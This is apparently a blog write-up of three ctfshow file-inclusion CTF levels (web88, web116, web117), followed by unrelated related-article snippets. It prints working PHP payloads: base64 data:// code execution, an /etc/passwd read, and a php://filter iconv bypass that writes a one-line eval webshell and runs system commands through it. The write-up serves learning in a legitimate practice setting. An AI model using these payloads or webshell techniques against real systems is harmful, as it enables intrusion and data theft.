ctfshow-web入门-文件包含(web88、web116、web117)

目录

1、web88

2、web116

3、web117


1、web88

没有过滤冒号 : ,可以使用 data 协议,但是过滤了括号和等号,因此需要编码绕过一下。

这里有点问题,我 ('ls') 后加上分号发现不行,可能是编码结果有加号,题目做了过滤

报错:

Parse error: syntax error, unexpected '?' in data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8 on line 1

去掉分号

得到 PD9waHAgc3lzdGVtKCdscycpPz4=,传入时要把等号去掉,因为题目过滤掉了等号,否则会触发 die 函数,即使去掉等号,base64 解码也是 <?php system('ls')?>。

构造 payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4

或者这样:<?php system('ls');

总的来说就是要避免加号的出现,然后如果结尾有等号要去掉。

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw

 

读取 flag:

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg

拿到 flag:ctfshow{1863caf3-bfd1-45ce-b2bf-e9f519a2c9b4}

2、web116

访问题目是一个视频,源码也没有什么有用信息

提示:misc+lfi

下载视频,使用 010editor 打开,发现存在 png 图片的数据

提取:

另存为 png 格式的图片:

打开发现是一段代码:

如果没有设置 file,那么默认就是 video/mp4,也就是我们前面看到的视频

以 get 方式给 file 传参进行文件包含,猜测是 flag.php,payload:

?file=flag.php

可以直接用 hackbar 将 mode 选择为 raw 进行请求,这样就和 burpsuite 一样 

拿到 flag:ctfshow{8cd4c26c-7482-4caa-8d4c-0b8de37226cb}

读一下 /etc/passwd,也是可以读取到的:

?file=/etc/passwd

3、web117

需要在绕过 filter 函数过滤的基础上,再来绕过死亡函数。base64、rot13、string 这些都被过滤了,果然尝试前面的方法,发现不行,因为正则匹配是针对 url 解码后的内容进行的。

把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:

<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>

运行得到:

?<hp pe@av(l_$EG[T]1;)>?

post 传入:

contents=?<hp pe@av(l_$EG[T]1;)>?

payload: 

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php

之后调用 hack.php:

/hack.php?1=system('ls');

(其中 shll.php 是我最开始弄的,当时传 contents 传成了 content,少打了个 s) 

读取 flag:

/hack.php?1=system('tac flag.php');

拿到 flag:ctfshow{e6c7cd6d-c7b6-48bb-af5a-4316ac9b9314}

因为我们传入的一句话木马是先经过一遍编码转换的,之后又通过过滤器将其还原。

而题目自己添加进去的 <?php die();?> 则会被过滤器转换成无法识别的文本内容,导致无法执行。

我们可以来看一下 hack.php 的内容:

?<hp pid(e;)>? 肯定无法正常被解析为 php 代码,也就不会执行,而我们的一句话木马 <?php @eval($_GET[1]);?> 是正常的,因此可以被调用。

至此,ctfshow-web入门 -文件包含结束。 

Myon 2024.7.6

路漫漫其修远兮,吾将上下而求索。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1473511.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Qwen1.5-1.8b部署

仿照ChatGLM3部署&#xff0c;参考了Qwen模型的文档&#xff0c;模型地址https://modelscope.cn/models/qwen/Qwen1.5-1.8B-Chat/summary http接口 服务端代码api.py from fastapi import FastAPI, Request from transformers import AutoTokenizer, AutoModelForCausalLM, …

Docker:Docker网络

Docker Network 是 Docker 平台中的一项功能&#xff0c;允许容器相互通信以及与外界通信。它提供了一种在 Docker 环境中创建和管理虚拟网络的方法。Docker 网络使容器能够连接到一个或多个网络&#xff0c;从而使它们能够安全地共享信息和资源。 预备知识 推荐先看视频先有…

多功能实用工具箱,实用工具箱提供了从日常,图片,查询、设备、特色、提取等多方面的功能,操作简单,即点即用,避免您下载超多应用的难题,应用体积轻巧,界面简洁。

今天给大家分享手机工具软件合集&#xff0c;明天想看什么软件&#xff0c;在评论区留言吧&#xff01; 软件链接&#xff1a;4款万能玩机工具&#xff0c;一网打尽&#xff0c;快来看看&#xff01; 实用工具箱 这是一款多功能实用工具箱&#xff0c;实用工具箱提供了从日常…

前端面试题7(单点登录)

如何实现单点登录 单点登录&#xff08;Single Sign-On&#xff0c;简称SSO&#xff09;是一种允许用户在多个应用系统中只需登录一次&#xff0c;就可以访问所有相互信任的应用系统的认证技术。实现前端单点登录主要依赖于后端的支持和一些特定的协议&#xff0c;如OAuth、Ope…

Elasticsearch 实现 Word、PDF,TXT 文件的全文内容提取与检索

文章目录 一、安装软件:1.通过docker安装好Es、kibana安装kibana:2.安装原文检索与分词插件:之后我们可以通过doc命令查看下载的镜像以及运行的状态:二、创建管道pipeline名称为attachment二、创建索引映射:用于存放上传文件的信息三、SpringBoot整合对于原文检索1、导入依赖…

论文学习——基于小生境预测策略的动态多目标进化算法

论文题目&#xff1a;A dynamic multi-objective evolutionary algorithm based on Niche prediction strategy 基于决策变量分类的动态多目标优化算法&#xff08;Jinhua Zheng a,b, Bo Zhang a,b,∗, Juan Zou a,b, Shengxiang Yang a,d, Yaru Hu&#xff09;Applied Soft C…

昇思第10天

RNN实现情感分类 二分类问题&#xff1a;Positive和Negative两类 步骤&#xff1a; 1.加载IMDB数据集 2.加载预训练词向量:预训练词向量是对输入单词的数值化表示&#xff0c;通过nn.Embedding层&#xff0c;采用查表的方式&#xff0c;输入单词对应词表中的index&#xff0c;…

深度学习基础以及vgg16讲解

一 什么是卷积 上图所示&#xff0c;为图像边缘提取得一个卷积过程&#xff0c;卷积核就是计算当前像素左右两边得像素差&#xff0c;这个差值越大代表越可能是图像边缘。因此当实现其它功能时&#xff0c;只需要调整卷积核得参数即可。深度学习的训练其实就是在确定这些参数。…

惕佫酰假托品合酶的发现-文献精读28

Discovering a mitochondrion-localized BAHD acyltransferase involved in calystegine biosynthesis and engineering the production of 3β-tigloyloxytropane 发现一个定位于线粒体的BAHD酰基转移酶&#xff0c;参与打碗花精生物合成&#xff0c;并工程化生产惕佫酰假托品…

C # @逐字字符串

逐字字符串 代码 namespace TestAppConsole {class program{static void Main(string[] args){int a 0;int b 9;string c "2ui923i9023";//Console.Write(sizeof(int));string d "\t8282jjksk";string e "\t8282jjksk";Console.WriteLine(…

Tkinter布局助手

免费的功能基本可以满足快速开发布局&#xff0c; https://pytk.net/ iamxcd/tkinter-helper: 为tkinter打造的可视化拖拽布局界面设计小工具 (github.com) 作者也把项目开源了&#xff0c;有兴趣可以玩玩

每周算法:无向图的双连通分量

题目链接 冗余路径, Redundant Paths G 题目描述 为了从 F F F 个草场中的一个走到另一个&#xff0c;奶牛们有时不得不路过一些她们讨厌的可怕的树。 奶牛们已经厌倦了被迫走某一条路&#xff0c;所以她们想建一些新路&#xff0c;使每一对草场之间都会至少有两条相互分离…

对BSV区块链的曼达拉网络通俗易懂的解释

​​发表时间&#xff1a;2023年6月15日 BSV区块链正在引入“曼达拉”升级&#xff0c;使BSV区块链网络的拓扑结构能够适配Teranode&#xff0c;适配这个可以大幅扩容的节点软件。BSV区块链上曼达拉网络的概念并不会改变整个系统的核心规则&#xff1b;相反&#xff0c;它能够引…

I2C接口+高度集成的电源管理芯片(PMIC)-iML1942

电源管理芯片 - iML1942是一个高度集成的电源管理IC为TFT液晶面板。它具有完整的I2C接口来编程各种参数。该设备包括一个针对AVDD的电流模式升压调节器&#xff0c;一个针对VBK1的同步升压转换器。VGL可选的反相转换器或负电荷泵调节器&#xff0c;VSS1负线性调节器&#xff0c…

细说MCU的ADC模块单通道连续采样的实现方法

目录 一、工程依赖的硬件及背景 二、设计目的 三、建立工程 1、配置GPIO 2、选择时钟源和Debug 3、配置ADC 4、配置系统时钟和ADC时钟 5、配置TIM3 6、配置串口 四、代码修改 1、重定义TIM3中断回调函数 2、启动ADC及重写其回调函数 3、定义用于存储转换结果的数…

Redis---9---集群(cluster)

将新增的6387节点&#xff08;空槽号&#xff09;作为master节点加入原集群 Redis—9—集群&#xff08;cluster&#xff09; 是什么 定义 ​ 由于数据量过大&#xff0c;单个Master复制集难以承担&#xff0c;因此需要对多个复制集进行集群&#xff0c;形成水平扩展每个复…

苹果电脑能玩赛博朋克2077吗 如何在mac上运行赛博朋克2077 crossover能玩什么游戏

各位喜欢赛博朋克风的一定不能错过《赛博朋克2077》。那么《赛博朋克2077》是一款什么样的游戏&#xff1f;《赛博朋克2077》在苹果电脑上可以运行吗&#xff1f;一起来看看介绍吧。 一、《赛博朋克2077》是一款什么样的游戏&#xff1f; 《赛博朋克2077》是一款由CD Projekt …

重温react-13(嵌套路由和重定向等)

重定向和404 import React from react; import { Routes, Route, Link,NavLink ,Navigate} from react-router-dom; import Home from ./Home/Home import About from ./About/About import News from ./News/News import NotFound from ./NotFound/NotFound; export default …

pytest-yaml-sanmu(六):YAML数据驱动测试

如果说 pytest 中哪些标记使用得最多&#xff0c;那无疑是 parametrize 了&#xff0c; 它为用例实现了参数化测试的能力&#xff0c;进而实现了数据驱动测试的能力。 1. 使用标记 parametrize 的使用需要提高两个内容&#xff1a; 参数名 参数值 pytest 在执行用例时&…

eBPF 指令宏

linux 6.9.7 指令宏 /* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */ /* eBPF instruction mini library */ #ifndef __BPF_INSN_H #define __BPF_INSN_Hstruct bpf_insn;/* ALU ops on registers, bpf_add|sub|...: dst_reg src_reg */ // BPF_ALU64_REG&am…